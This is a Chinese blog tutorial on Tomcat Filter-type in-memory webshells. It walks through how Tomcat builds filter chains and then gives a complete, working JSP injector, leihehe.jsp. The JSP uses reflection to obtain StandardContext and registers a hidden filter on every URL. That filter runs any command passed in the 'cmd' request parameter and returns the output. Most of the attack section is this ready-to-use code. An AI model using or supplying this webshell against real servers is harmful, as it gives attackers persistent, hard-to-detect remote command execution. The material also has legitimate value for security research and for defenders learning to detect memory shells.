Tomcat内存马系列(一):Filter型
2023-06-15 17:13:48 # Web Security # Java Memory Shell

前言

随着这些年来各种安全防护手段的出现,想要上传一个文件类型的webshell从而拿到权限更难上加难。但最近横空出世的内存马因为隐蔽性高,逐渐被大众所知。

内存马目前分为三大类:

servlet-api类

  • Filter型
  • Servlet型
  • Listener型

spring类

  • 拦截器
  • Controller型

Java Instrumentation类

  • Agent型

此文将以servlet-api类的Filter类内存马开篇,详细讲解其原理、利用与检测。

环境搭建

新建一个JAVA项目

image-20211208145004004

image-20211208145023106

image-20211208145039178

image-20211208145106202

image-20211208145146347

接下来就是哪里有IDEA提示就选哪里,比如下面这样的,我们直接按他的提示选fix

image-20211208145216611

接下来在Project Structure里面把Tomcat的包引进来

image-20211208145431939

为了方便我全部引进来了

接下来在src文件夹里创建一个TestServlet Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

再创建一个TestFilter Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("这是初始化信息");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//执行过滤操作

filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
}

WEB-INF/web.xml配置:需要配置Filter一些信息 - 这个配置非常重要,理解它有助于我们的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter> <!-- filter标签的内容将被存入FilterDef类 -->
<filter-name>testFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter>
<filter-mapping><!-- filter标签的内容将被存入FilterMap类 -->
<filter-name>testFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
</web-app>

运行一下看看:

http://localhost:8080/testEnv_war_exploded/test

控制台出现信息,就这样Filter就设置成功了。

image-20211208150319911

Tomcat Filter流程

web.xml的解析&Context从何而来?

web.xml中存放着filter相关的配置,它必然会被解析读取。web.xml文件里解析出来的内容由Tomcat中的WebXml类来存储。

在监听到Lifecycle.CONFIGURE_START_EVENT事件后,WebXml将自身的存储的信息注入到Context中。

具体流程如下:

  • ContextConfig监听到Lifecycle.CONFIGURE_START_EVENT事件发生
  • ContextConfig调用自身的configureStart()方法, 再调用webConfig(),将/web.xml解析保存到web.xml中,再调用ContextConfig.configureContext(webxml)将webxml中储存的信息注入到context中。

来看代码:

image-20211208183932159监听到事件后call到webConfig()方法,在webConfig中解析web.xml的内容、创建WebXml实例。

image-20211208184646650

随后用ConfigureContext.configureContext(webXml)webXml的信息传入当前context中。

image-20211208185001033

这样一个context就配置好了。

Filter是如何从context中被添加进filterChain的?

org.apache.catalina.core.StandardWrapperValveinvoke()call到**createFilterChain()**,

image-20211208201730461创建filterChain,

我们可以看到在createFilterChain()方法里,我们获取到了context,从而从这个context中获取到filterMaps

image-20211208201919328

FilterMaps中存放的就是我们web.xml中写到的<filter-maping></filter-mapping>

接着匹配当前访问的URL和filterMap中的URL是否一样(第一个if),如果匹配,将从filterConfig中寻找该filterMap中对应的名字,如果找到了,就将该FilterfilterConfig添加进filterChain里。

image-20211208202205923

我们继续跟踪到addFilter(),最后filterConfig会被放入filters数组当中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void addFilter(ApplicationFilterConfig filterConfig) {
ApplicationFilterConfig[] newFilters = this.filters;
int var3 = newFilters.length;

for(int var4 = 0; var4 < var3; ++var4) {
ApplicationFilterConfig filter = newFilters[var4];
if (filter == filterConfig) {
return;
}
}

if (this.n == this.filters.length) {//如果n等于当前filters数组的长度,那么就给filter数组扩容
newFilters = new ApplicationFilterConfig[this.n + 10];
System.arraycopy(this.filters, 0, newFilters, 0, this.n);
this.filters = newFilters;
}

this.filters[this.n++] = filterConfig;//将filter放入的filters数组的同时,将n+1,相当于是在计数
}

Filter的执行

现在filters数组(也就是filterChain)已经被组装完毕了,它又该如何被执行呢?

现在继续回到StandardWrapperValve.invoke()

image-20211208220131316很明显,filterChain中的filter被执行了 - doFilter()

跟进去看看:ApplicationFilterChain.doFilter():调用了internalDoFilter()

image-20211208220257323

继续跟:

image-20211208220517246

然后调用到了我们写在TestFilter.java里面的doFilter()

1
2
3
4
5
6
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//执行过滤操作

filterChain.doFilter(servletRequest,servletResponse);
}

至此,我们整个filter的执行就到此结束。

总结

我们来总结一下涉及到的一些Class,这里都以英文字面意思来理解比较容易。

Filter的配置是由我们手动写在web.xml文件里的,所以需要把配置取出来,封装进这个web程序的context里面,以便其它地方调用。

  • ContextConfig - 专门配置Context(可以理解为存储当前web程序信息)的类。

    • ContextConfig类负责监听Lifecycle.CONFIGURE_START_EVENT,也就是“配置开始”事件,监听到就会开始配置 - **configureStart()**。
    • ConfigureStart()中会call到webConfig()方法 - webConfig需要先从web.xml中把内容取出来,先创建一个WebXml类的instance.
    • 用configureContext(webXml)把webXml的内容都存入当前的context。
  • StandardWrapperValve - 一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

    • 把这个StandardWrapperValve简单理解为一个servlet,这个servlet接收到了数据,就要对数据进行过滤,要过滤就要先获取过滤规则,也就是我们的过滤器Filters

    • 它利用ApplicationFilterFactory.createFilterChain()来创建一个FilterChain = 》 里面是所有匹配到的filterConfig的集合

      • createFilterChain()读取了当前context,并从获取到的context中读取到了filterMaps =》 里面是所有filter的mapping的情况(见环境搭建中的web.xml文件),如果当前访问的URL匹配上了filter mapping,且在filterConfig中有其filter-name有对应的filter-class被配置,那么就将这个filterConfig添加进filterChain里面,以供使用。至此,filterChain组装完毕。
    • filterChain有了,接下来就是依次去触发filter了。StandardWrapperValve执行filterChain.doFilter()开始执行chain里面的filter。

      • 从chain里面获取filterConfig,再从filterConfig中获取到filter
    • 最后执行filter.doFilter()

可以看出来,一个filter被执行的条件

  • 在context#filterMaps中,有和当前访问URL相匹配的url-pattern
1
2
3
4
<filter-mapping>
<filter-name>testFilter</filter-name>
<url-pattern>/test</url-pattern> <!--url要匹配-->
</filter-mapping>
  • filterConfig中需要有这个filter名字对应的class

    filterConfig中不仅存放了filterDef,还存放了当时的context。filterDef对应xml中如下内容:

1
2
3
4
<filter>
<filter-name>testFilter</filter-name>
<filter-class>TestFilter</filter-class> <!--class要匹配上filter name-->
</filter>

假设我们要自己构造一个这样的符合条件的filter应该怎么做呢?

Filter内存马的运用

构造内存马思路

  • 构造一个含恶意代码的filter
  • 用filterDef将filter进行封装(filter-name,filter-class)
  • 将构造的filterDef添加到filterDefs和filterConfigs中
  • 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中

要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去。

每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。

开始构造内存马

获取context

前面说到,FilterMaps是放在context的,所以需要先得到context.

当我们访问一个jsp文件的时候,该jsp文件能够接收到request,所以我们可以获取到该request的servletContext

观察一下servletContext的内容:

image-20211209102528669

我们发现实际上内容都是在StandardContext里面的 - servletContext的context是ApplicationContext类,ApplicationContext是StandardContext类。

可以一层一层获取:最终获取到StandardContext

1
2
3
4
5
6
7
8
9
ServletContext servletContext = request.getSession().getServletContext();//获取servletContext

Field appctx = servletContext.getClass().getDeclaredField("context");//获取servletContext.context
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//得到applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context");//获取applicationContext.context
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//得到standardContext

其它的context获取方法:

从线程中获取StandardContext 如果没有request对象的话可以从当前线程中获取 https://zhuanlan.zhihu.com/p/114625962

从MBean中获取 https://scriptboy.cn/p/tomcat-filter-inject/

修改context&创建恶意Filter

StandardContext中可以看到:其包含了我们需要用到的filterConfigs, filterDefs, filterMaps

image-20211209103331546

按照之前的思路:

  • 构造一个含恶意代码的filter
  • 用filterDef将filter进行封装(filter-name,filter-class)
  • 将构造的filterDef添加到filterDefs和filterConfigs中
  • 创建一个新的filterMap将URL和filter进行绑定,并添加到filterMaps中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
final String name = "leihehe";//先设置这个恶意filter的名字
/*获取filterConfigs*/
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);//获取到filterConfigs => 一堆filterConfig的集合


if (filterConfigs.get(name) == null){//判断我们自己设定filter名字的filterConfig是否不存在
/* 不存在,开始创建恶意 Filter */
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这段代码是shell恶意代码,就不详细解释了
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder(req.getParameter("cmd")).start();//windows环境下测试
//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};

/**
* 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);

/**
* 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

/**
* 将 name 和 filterConfig 作为 key-value进行传入
*/
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}

最终内存马

leihehe.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%

ServletContext servletContext = request.getSession().getServletContext();//获取servletContext

Field appctx = servletContext.getClass().getDeclaredField("context");//获取servletContext.context
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);//得到applicationContext

Field stdctx = applicationContext.getClass().getDeclaredField("context");//获取applicationContext.context
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);//得到standardContext

final String name = "leihehe";//先设置这个恶意filter的名字
/*获取filterConfigs*/
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);//获取到filterConfigs => 一堆filterConfig的集合


if (filterConfigs.get(name) == null){//判断我们自己设定filter名字的filterConfig是否不存在
/* 不存在,开始创建恶意 Filter */
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这段代码是shell恶意代码,就不详细解释了
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder(req.getParameter("cmd")).start();//windows环境下测试
//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};

/**
* 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
*/
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

/**
* 创建一个filtermap
* 设置filter的名字和对应的urlpattern
*/
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

/**
* 将filtermap 添加到 filterMaps 中的第一个位置
*/
standardContext.addFilterMapBefore(filterMap);

/**
* 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

/**
* 将 name 和 filterConfig 作为 key-value进行传入
*/
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

Windows下测试结果:

image-20211209110036049

image-20211209110230572

总结

该Filter内存马在服务器重启后会失效(StandardContext在tomcat的生命周期内保存),且该方法仍需要上传jsp文件才能使用该内存马 - 我们其实可以通过反序列化来实现动态注册filter,在之后的篇章将会涉及。

Reference

https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na

https://blog.csdn.net/lqzkcx3/article/details/79357144

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w